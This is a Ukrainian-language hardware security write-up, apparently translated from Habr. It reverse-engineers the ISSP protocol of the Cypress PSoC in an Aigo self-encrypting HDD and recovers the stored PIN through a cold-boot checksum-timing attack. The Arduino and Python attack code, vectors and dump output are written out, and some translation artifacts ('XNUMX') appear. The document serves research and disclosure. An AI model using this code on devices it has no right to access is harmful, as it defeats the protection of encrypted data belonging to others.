Реверсинг і злом зовнішнього HDD-накопичувача Aigo, що самошифрується. Частина 2: Знімаємо дамп із Cypress PSoC

Це друга і заключна частина статті про зламування зовнішніх накопичувачів, що самошифруються. Нагадую, нещодавно колега заніс мені жорсткий диск Patriot (Aigo) SK8671, і я вирішив його відреверсувати, а тепер поділяюся, що з цього вийшло. Перед тим як читати далі обов'язково ознайомтеся з першою частиною статті.

4. Починаємо знімати дамп із внутрішньої флешки PSoC
5. ISSP-протокол
- 5.1. Що таке ISSP
- 5.2. Демістифікація векторів
- 5.3. Спілкування з PSoC
- 5.4. Ідентифікація внутрішньочіпових регістрів
- 5.5. Захисні біти
6. Перша (невдала) атака: ROMX
7. Друга атака: трасування з холодним перезавантаженням
- 7.1. Реалізація
- 7.2. Зчитуємо результат
- 7.3. Реконструкція флеш-бінарника
- 7.4. Знаходимо адресу зберігання пінода
- 7.5. Знімаємо дамп блоку №126
- 7.6. Відновлення пінода
8. Що далі?
9. висновок

Реверсинг і злом зовнішнього HDD-накопичувача Aigo, що самошифрується. Частина 2: Знімаємо дамп із Cypress PSoC


4. Починаємо знімати дамп із внутрішньої флешки PSoC

Отже, все вказує на те (як ми встановили в [першій частині]()), що пінкод зберігається у флеш-надрах PSoC. Тому нам необхідно прочитати ці флеш-надра. Фронт необхідних робіт:

  • взяти під контроль «спілкування» із мікроконтролером;
  • знайти спосіб перевірити, чи захищене це «спілкування» від зчитування ззовні;
  • знайти спосіб обходу захисту.

Існує два місця, де має сенс шукати діючий Пінкод:

  • внутрішня флеш-пам'ять;
  • SRAM, де пінкод може зберігатися для порівняння його з тим пінкодом, який вводиться користувачем.

Забігаючи вперед, зазначу, що мені таки вдалося зняти дамп внутрішньої флешки PSoC, - обійшовши її систему захисту, за допомогою апаратної атаки «трасування з холодним перезавантаженням» - після реверсингу недокументованих можливостей ISSP-протоколу. Це дозволило мені безпосередньо знімати дамп чинного пінкод.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Підсумковий програмний код:

5. ISSP-протокол

5.1. Що таке ISSP

"Спілкування" з мікроконтролером може означати різні речі: від "vendor to vendor", до взаємодії із застосуванням послідовного протоколу (наприклад, ICSP для Microchip'овського PIC).

Cypress для цього власний пропрієтарний протокол, званий ISSP (in-system serial programming protocol; внутрішньосистемний протокол послідовного програмування), який частково описаний в технічної специфікації. Патент US7185162 також дає певну інформацію. Є також OpenSource-аналог, званий HSSP (ми скористаємося ним трохи пізніше). ISSP працює наступним чином:

  • перезавантажити PSoC;
  • вивести магічне число на ніжку послідовних даних цієї PSoC; для входу до режиму зовнішнього програмування;
  • відправити команди, які є довгими бітовими рядками, які називаються «векторами».

У документації на ISSP ці вектори визначені лише для невеликої жменьки команд:

  • Initialize-1
  • Initialize-2
  • Initialize-3 (варіанти 3V та 5V)
  • ID-SETUP
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, де dddddddd=block #
  • BULK ERASE
  • PROGRAM-BLOCK
  • VERIFY-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDDDZ1, де DDDDDDDD = data out, aaaaaa = адреса (6 біт)
  • WRITE-BYTE: 10010aaaaaaaddddddddd111, де dddddddd = data in, aaaaaa = адреса (6 біт)
  • ЗАБЕЗПЕЧЕНО
  • CHECKSUM-SETUP
  • READ-CHECKSUM: 10111111001ZDDDDDDDDDDZ110111111000ZDDDDDDDDDD1, де DDDDDDDDDDDDDDDD = data out: контрольна сума девайсу
  • ERASE BLOCK

Наприклад, вектор для Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

У всіх векторів однакова довжина: 22 біти. У документації на HSSP є деякі додаткові відомості щодо ISSP: «ISSP-вектор це ні що інше як бітова послідовність, що є набором інструкцій».

5.2. Демістифікація векторів

Розберемося, що тут відбувається. Спочатку я припускав, що ці вектори є raw-варіанти M8C-інструкцій, проте перевіривши цю гіпотезу, я виявив, що опкоди операцій не збігаються.

Потім я загугнув вищенаведений вектор, і натрапив на ось це дослідження, де автор, хоч і не занурюється в деталі, дає кілька слушних підказок: «Кожна інструкція починається з трьох біт, які відповідають одній з чотирьох мнемонік (прочитати з RAM, записати в RAM, прочитати регістр, записати регістр). Потім йде 8-біт адреси, після чого 8 біт даних (зчитані або для запису) і нарешті три стоп-біти».

Потім мені вдалося отримати дуже корисну інформацію з розділу «Supervisory ROM (SROM)» технічного керівництва. SROM це жорстко закодована ROM, в PSoC, яка надає сервісні функції (за схожим принципом, що і Syscall), - для програмного коду, запущеного в просторі користувача:

  • 00h: SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: TableRead
  • 07h: CheckSum
  • 08h: Calibrate0
  • 09h: Calibrate1

Порівнюючи імена векторів з функціями SROM, ми можемо зіставити різні операції, що підтримуються цим протоколом, – з очікуваними параметрами SROM. Завдяки цьому можемо декодувати перші три біти ISSP-векторів:

  • 100 => "wrmem"
  • 101 => “rdmem”
  • 110 => "wrreg"
  • 111 => “rdreg”

Однак повне розуміння внутрішньочіпових процесів можна отримати тільки при безпосередньому спілкуванні з PSoC.

5.3. Спілкування з PSoC

Бо Дірк Петраутський уже портував Cypress'овський HSSP-код на Arduino, я скористався Arduino Uno для підключення до ISSP-роз'єму клавіатурної плати.

Зверніть увагу, що в ході своїх досліджень я досить сильно змінив код Дірка. Мою модифікацію можна знайти на GitHub: тут та відповідний Python-скрипт для спілкування з Arduino, у моєму репозиторії cypress_psoc_tools.

Отже, застосовуючи Arduino, я спочатку використовував для спілкування тільки офіційні вектори. Я спробував прочитати внутрішню ROM за допомогою команди VERIFY. Як і очікувалося, це мені зробити не вдалося. Ймовірно, через те, що всередині флешки активовані біти захисту від зчитування.

Потім я створив кілька своїх простеньких векторів для запису та читання пам'яті/регістрів. Зверніть увагу, що ми можемо читати всю SROM, навіть незважаючи на те, що флешка захищена!

5.4. Ідентифікація внутрішньочіпових регістрів

Подивившись на «дизасембльовані» вектори, я виявив, що девайс використовує недокументовані регістри (0xF8-0xFA), для вказівки M8C-опкодів, які виконуються безпосередньо, в обхід захисту. Це дозволило мені запускати різні опкоди, такі як "ADD", "MOV A, X", "PUSH" або "JMP". Завдяки їм (дивлячись на побічні ефекти, які вони надають на регістри) я зміг визначити, які з недокументованих регістрів, фактично є звичайними регістрами (A, X, SP і PC).

У результаті, «дизассембльований» код, згенерований інструментом HSSP_disas.rb, виглядає так (для ясності я додав коментарі):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Захисні біти

На даному етапі я вже можу спілкуватися з PSoC, але я все ще не має достовірної інформації про захисні біти флешки. Я був дуже здивований тим фактом, що Cypress не дає користувачеві девайсу жодних засобів для того, щоб перевірити, чи активовано захист. Я заглибився в Google, щоб остаточно зрозуміти, що HSSP-код, наданий Cypress'ом, оновили вже після того, як Дірк випустив свою модифікацію. І ось! З'явився такий новий вектор:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Використовуючи цей вектор (див. read_security_data в psoc.py), ми отримуємо всі захисні біти в SRAM в 0x80, де на кожен блок, що захищається, припадає по два біти.

Результат засмучує: все захищено в режимі «відключити зовнішні читання та запис». Тому ми не тільки зчитувати з флешки нічого не можемо, але й записувати теж (щоб наприклад впровадити туди ROM-дампер). А єдиний спосіб вимкнути захист – повністю стерти весь чіп. 🙁

6. Перша (невдала) атака: ROMX

Однак ми можемо спробувати зробити наступний трюк: оскільки ми маємо можливість виконувати довільні опкоди, чому б не виконати ROMX, який застосовується для читання флеш-пам'яті? Такий підхід має непогані шанси на успіх. Тому що функція ReadBlock, яка зчитує дані з SROM (яка використовується векторами), перевіряє, чи вона викликається з ISSP. Однак опкод ROMX, ймовірно, може не мати такої перевірки. Отже, ось Python-код (після додавання кількох допоміжних класів до Сішного Arduino-коду):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Нажаль цей код не працює. 🙁 Вірніше працює, але ми на виході отримуємо свої власні опкоди (0x28 0x30 0x40)! Не думаю, що відповідна функціональність девайса є елементом захисту читання. Це більше схоже на інженерний трюк: при виконанні зовнішніх опкодів, ROM'овська шина перенаправляється на тимчасовий буфер.

7. Друга атака: трасування з холодним перезавантаженням

Оскільки трюк із ROMX не спрацював, я почав обмірковувати іншу варіацію цього трюку – описану в публікації «Shedding too much Light on Microcontroller's Firmware Protection».

7.1. Реалізація

У документації на ISSP наведено наступний вектор для CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Тут по суті здійснюється виклик SROM-функції 0x07, як представлено в документації (курсив мій):

Ця функція перевіряє контрольну суму. Вона обчислює 16-бітову контрольну суму кількості блоків, заданих користувачем – в одному флеш-банку, відраховуючи з нуля. Параметр BLOCKID використовується для передачі кількості блоків, які будуть використовуватися при розрахунку контрольної суми. Значення «1» обчислюватиме контрольну суму лише для нульового блоку; тоді як «0» призведе до того, що буде обчислено загальну контрольну суму всіх 256 блоків флеш-банку. 16-бітова контрольна сума повертається через KEY1 та KEY2. У параметрі KEY1 фіксуються молодші 8 біт контрольної суми, а KEY2 – старші 8 біт. Для девайсів з декількома флеш-банками функція контрольної суми викликається для кожного окремо. Номер банку, з яким вона працюватиме, задається регістром FLS_PR1 (шляхом встановлення в ньому біта, що відповідає цільовому флеш-банку).

Зверніть увагу, що це найпростіша контрольна сума: байти просто підсумовуються один за одним; ніяких витончених CRC-примх. Крім того, знаючи, що в ядрі M8C набір регістрів дуже невеликий, я припустив, що при обчисленні контрольної суми проміжні значення будуть фіксуватися в тих же змінних, які в результаті на вихід підуть: KEY1 (0xF8) / KEY2 (0xF9).

Отже, теоретично моя атака виглядає так:

  1. З'єднуємось через ISSP.
  2. Запускаємо обчислення контрольної суми з використанням вектора CHECKSUM-SETUP.
  3. Перезавантажуємо процесор через заданий час T.
  4. Зчитуємо RAM, щоб одержати поточну контрольну суму C.
  5. Повторюємо кроки 3 і 4, щоразу трохи збільшуючи T.
  6. Відновлюємо дані з флешки за допомогою віднімання попередньої контрольної суми C з поточної.

Однак виникла проблема: вектор Initialize-1, який ми повинні надіслати після перезавантаження, перезаписує KEY1 та KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Цей код затирає нашу дорогоцінну контрольну суму, викликаючи Calibrate1 (SROM-функція 9)… Може бути нам вдасться, просто відправивши магічне число (з початку наведеного вище коду), увійти в режим програмування, а потім вважати SRAM? Так, це працює! Arduino-код, що реалізує цю атаку, досить простий:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Вважати checkum_delay.
  2. Запустити обчислення контрольної суми (send_checksum_v).
  3. Зачекати заданий проміжок часу; враховуючи такі підводні камені:
    • я вбив багато часу, поки не дізнався, що виявляється delayMicroseconds працює коректно тільки із затримками, що не перевищують 16383мкс;
    • і потім знову вбив стільки ж часу, доки не виявив, що delayMicroseconds, якщо їй на вхід передати 0, працює зовсім неправильно!
  4. Перезавантажити PSoC в режим програмування (просто магічне число відправляємо, без надсилання векторів, що ініціалізують).

Підсумковий код на Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

У двох словах, що робить цей код:

  1. Перезавантажує PSoC (і надсилає йому магічне число).
  2. Надсилає повноцінні вектори ініціалізації.
  3. Викликає Arduino-функцію Cmnd_STK_START_CSUM (0x85), куди як параметр передається затримка в мікросекундах.
  4. Зчитує контрольну суму (0xF8 та 0xF9) та недокументований регістр 0xF1.

Цей код виконується по 10 разів за 1 мікросекунду. 0xF1 сюди включений, оскільки був єдиним регістром, який змінювався під час обчислення контрольної суми. Можливо, це якась тимчасова змінна, що використовується арифметико-логічним пристроєм. Зверніть увагу на потворний хак, яким я перезавантажую Arduino, використовуючи picocom, коли Arduino перестає подавати ознаки життя (поняття не маю, чому).

7.2. Зчитуємо результат

Результат роботи Python-скрипта виглядає так (спрощений для зручності читання):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

При цьому ми маємо проблему: оскільки ми оперуємо фактичною контрольною сумою, нульовий байт не змінює ліченого значення. Однак оскільки вся процедура обчислення (8192 байта) займає 0,1478 секунд (з невеликими відхиленнями при кожному запуску), що приблизно відповідає 18,04 мкс на байт, ми можемо використовувати цей час для перевірки значення контрольної суми в відповідні моменти часу. Для перших прогонів все зчитується досить легко, оскільки тривалість виконання обчислювальної процедури завжди практично однакова. Однак кінець цього дампа менш точний, тому що «незначні відхилення за часом» при кожному прогоні підсумовуються і стають значними:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Це 10 дампів для кожної мікросекундної затримки. Загальний час роботи для зняття дампи всіх 8192 байт флешки становить близько 48 годин.

7.3. Реконструкція флеш-бінарника

Я поки не завершив написання коду, який повністю реконструює програмний код флешки, з урахуванням усіх відхилень за часом. Проте початок цього коду вже відновив. Щоб переконатися в тому, що зробив це коректно, я дизассембліровав його, за допомогою m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Виглядає цілком правдоподібно!

7.4. Знаходимо адресу зберігання пінода

Тепер, коли ми можемо зчитувати контрольну суму в потрібні моменти часу, – ми можемо легко перевірити, як і де вона змінюється, коли ми:

  • вводимо неправильний пінкод;
  • змінюємо Пінкод.

Спочатку, щоб знайти приблизну адресу зберігання, я зняв дамп контрольної суми з кроком 10 мс, після перезавантаження. Потім я ввів невірний пінкод і зробив те саме.

Результат виявився не дуже приємним, оскільки змін було багато. Але врешті-решт мені вдалося встановити, що контрольна сума змінилася десь у проміжку між 120000 140000 мкс і 0 XNUMX мкс затримки. Але «пінкод», який я там обраний, був абсолютно неправильний - через артефакт процедури delayMicroseconds, яка робить незрозумілі речі, коли їй передається XNUMX.

Потім, витративши майже 3 години, я згадав, що SROM'овський системний виклик CheckSum на вході отримує аргумент, який задає кількість блоків для контрольної суми! Т.о. ми можемо легко локалізувати адресу зберігання пінода і лічильника «невірних спроб», – з точністю до 64-байтового блоку.

Мої початкові прогони дали наступний результат:

Реверсинг і злом зовнішнього HDD-накопичувача Aigo, що самошифрується. Частина 2: Знімаємо дамп із Cypress PSoC

Потім я поміняв пінкод з «123456» на «1234567» і отримав:

Реверсинг і злом зовнішнього HDD-накопичувача Aigo, що самошифрується. Частина 2: Знімаємо дамп із Cypress PSoC

Таким чином, пінкод і лічильник невірних спроб схоже зберігаються в блоці №126.

7.5. Знімаємо дамп блоку №126

Блок №126 повинен розташовуватися десь у районі 125x64x18 = 144000мкс, від початку розрахунку контрольної суми, у моїй повній дампі, і він виглядає цілком правдоподібно. Потім, після ручного відсіювання численних невірних дампів (через накопичення «незначних відхилень за часом»), я в результаті отримав такі байти (на затримці 145527мкс):

Реверсинг і злом зовнішнього HDD-накопичувача Aigo, що самошифрується. Частина 2: Знімаємо дамп із Cypress PSoC

Цілком очевидно, що пінкод зберігається в незашифрованому вигляді! Ці значення звичайно не в ASCII-кодах записані, але, як виявилося, відображають показання, зняті з ємнісної клавіатури.

Нарешті, я провів ще кілька тестів, щоб знайти, де зберігається лічильник невірних спроб. Ось результат:

Реверсинг і злом зовнішнього HDD-накопичувача Aigo, що самошифрується. Частина 2: Знімаємо дамп із Cypress PSoC

0xFF означає «15 спроб», і він зменшується при кожній неправильній спробі.

7.6. Відновлення пінода

Ось мій потворний код, який збирає разом все вище сказане:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Ось результат його виконання:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Ура! Працює!

Зверніть увагу, що значення затримки, які я використав, швидше за все актуальні для одного конкретного PSoC – того, яким користувався я.

8. Що далі?

Отже, підіб'ємо підсумки на стороні PSoC, в контексті нашого накопичувача Aigo:

  • ми можемо зчитувати SRAM, навіть якщо вона захищена від зчитування;
  • ми можемо обійти захист від зчитування, за допомогою атаки «трасування з холодним перезавантаженням», та безпосереднього зчитування пінода.

Тим не менш, наша атака має деякі недоробки – через проблеми з синхронізацією. Її можна було б поліпшити так:

  • написати утиліту для правильного декодування вихідних даних, отриманих в результаті атаки «трасування з холодним перезавантаженням»;
  • використовувати FPGA-примочку для створення точніших тимчасових затримок (або використовувати апаратні таймери Arduino);
  • спробувати ще одну атаку: ввести свідомо невірний пінкод, перезавантажити і дампити RAM, сподіваючись на те, що правильний пінкод виявиться збереженим в RAM, для порівняння. Однак на Arduino це зробити не так просто, оскільки рівень сигналу Arduino становить 5 вольт, тоді як плата, що досліджується нами, працює з сигналами в 3,3 вольт.

Одна цікава річ, яку можна було б спробувати – пограти рівнем напруги для обходу захисту від читання. Якби такий підхід спрацював, ми змогли б отримувати абсолютно точні дані з флешки, – замість того, щоб покладатися на читання контрольної суми з неточними тимчасовими затримками.

Оскільки SROM, ймовірно зчитує захисні біти за допомогою системного виклику ReadBlock, ми могли б зробити те саме, що описано у блозі Дмитра Недоспасова – повторна реалізація атаки Кріса Герлінскі, анонсованої на конференції «REcon Brussels 2017».

Ще одна кумедна річ, яку можна було б зробити - стікати з мікросхеми корпус: для зняття дампа SRAM, виявлення недокументованих системних викликів та вразливостей.

9. висновок

Отже, захист цього накопичувача залишає бажати кращого, тому що він для зберігання пінкод використовує звичайний (не «загартований») мікроконтролер ... Плюс я ще не дивився (поки), як на цьому девайсі справи з шифруванням даних!

Що можна порадити для Aigo? Проаналізувавши пару-трійку моделей зашифрованих HDD-накопичувачів, я в 2015 році зробив презентацію на SyScan, в якій розглянув проблеми безпеки кількох зовнішніх HDD-накопичувачів, і дав рекомендації, що можна було б поліпшити. 🙂

На це дослідження я витратив два вихідні та кілька вечорів. Загалом близько 40 годин. Вважаючи від початку (коли я розкрив диск) і остаточно (дамп пинкода). Ці ж 40 годин включено час, який я витратив для написання цієї статті. Дуже захоплююча була подорож.

Джерело: habr.com

Додати коментар або відгук